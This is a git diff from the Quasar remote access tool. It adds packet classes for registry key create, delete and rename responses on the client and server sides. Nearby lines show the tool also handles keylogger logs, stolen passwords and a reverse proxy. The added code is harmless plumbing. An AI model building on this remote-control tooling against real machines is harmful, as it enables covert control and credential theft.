diff --git a/Client/Client.csproj b/Client/Client.csproj index 9efe5048..52aa3885 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -94,8 +94,11 @@ + + + diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs index e22eacdf..58edfad8 100644 --- a/Client/Core/Networking/QuasarClient.cs +++ b/Client/Core/Networking/QuasarClient.cs @@ -78,6 +78,9 @@ namespace xClient.Core.Networking typeof (Packets.ClientPackets.GetKeyloggerLogsResponse), typeof (Packets.ClientPackets.GetPasswordsResponse), typeof (Packets.ClientPackets.GetRegistryKeysResponse), + typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse), + typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse), + typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse), typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyData), diff --git a/Client/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs b/Client/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs new file mode 100644 index 00000000..d44c3a1b --- /dev/null +++ b/Client/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xClient.Core.Networking; +using xClient.Core.Registry; + +namespace xClient.Core.Packets.ClientPackets +{ + [Serializable] + public class GetCreateRegistryKeyResponse : IPacket + { + public string ParentPath { get; set; } + public RegSeekerMatch Match { get; set; } + + public bool IsError { get; set; } + public string ErrorMsg { get; set; } + + public GetCreateRegistryKeyResponse() { } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs b/Client/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs new file mode 100644 index 00000000..fa47da06 --- /dev/null +++ b/Client/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ClientPackets +{ + [Serializable] + public class GetDeleteRegistryKeyResponse : IPacket + { + public string ParentPath { get; set; } + public string KeyName { get; set; } + + public bool IsError { get; set; } + public string ErrorMsg { get; set; } + + public GetDeleteRegistryKeyResponse() { } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs b/Client/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs new file mode 100644 index 00000000..69151075 --- /dev/null +++ b/Client/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ClientPackets +{ + [Serializable] + public class GetRenameRegistryKeyResponse : IPacket + { + public string ParentPath { get; set; } + public string OldKeyName { get; set; } + public string NewKeyName { get; set; } + + public bool IsError { get; set; } + public string ErrorMsg { get; set; } + + public GetRenameRegistryKeyResponse() { } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs index b3331b90..325e0ad4 100644 --- a/Server/Core/Networking/QuasarServer.cs +++ b/Server/Core/Networking/QuasarServer.cs @@ -125,6 +125,9 @@ namespace xServer.Core.Networking typeof (Packets.ClientPackets.GetKeyloggerLogsResponse), typeof (Packets.ClientPackets.GetPasswordsResponse), typeof (Packets.ClientPackets.GetRegistryKeysResponse), + typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse), + typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse), + typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse), typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyData), diff --git a/Server/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs b/Server/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs new file mode 100644 index 00000000..4a7fab10 --- /dev/null +++ b/Server/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xServer.Core.Networking; +using xServer.Core.Registry; + +namespace xServer.Core.Packets.ClientPackets +{ + [Serializable] + public class GetCreateRegistryKeyResponse : IPacket + { + public string ParentPath { get; set; } + public RegSeekerMatch Match { get; set; } + + public bool IsError { get; set; } + public string ErrorMsg { get; set; } + + public GetCreateRegistryKeyResponse() { } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs b/Server/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs new file mode 100644 index 00000000..13b9991f --- /dev/null +++ b/Server/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ClientPackets +{ + [Serializable] + public class GetDeleteRegistryKeyResponse : IPacket + { + public string ParentPath { get; set; } + public string KeyName { get; set; } + + public bool IsError { get; set; } + public string ErrorMsg { get; set; } + + public GetDeleteRegistryKeyResponse() { } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs b/Server/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs new file mode 100644 index 00000000..3919b65b --- /dev/null +++ b/Server/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ClientPackets +{ + [Serializable] + public class GetRenameRegistryKeyResponse : IPacket + { + public string ParentPath { get; set; } + public string OldKeyName { get; set; } + public string NewKeyName { get; set; } + + public bool IsError { get; set; } + public string ErrorMsg { get; set; } + + public GetRenameRegistryKeyResponse() { } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Server.csproj b/Server/Server.csproj index 6cebf41b..10aaedb9 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -140,7 +140,10 @@ + + +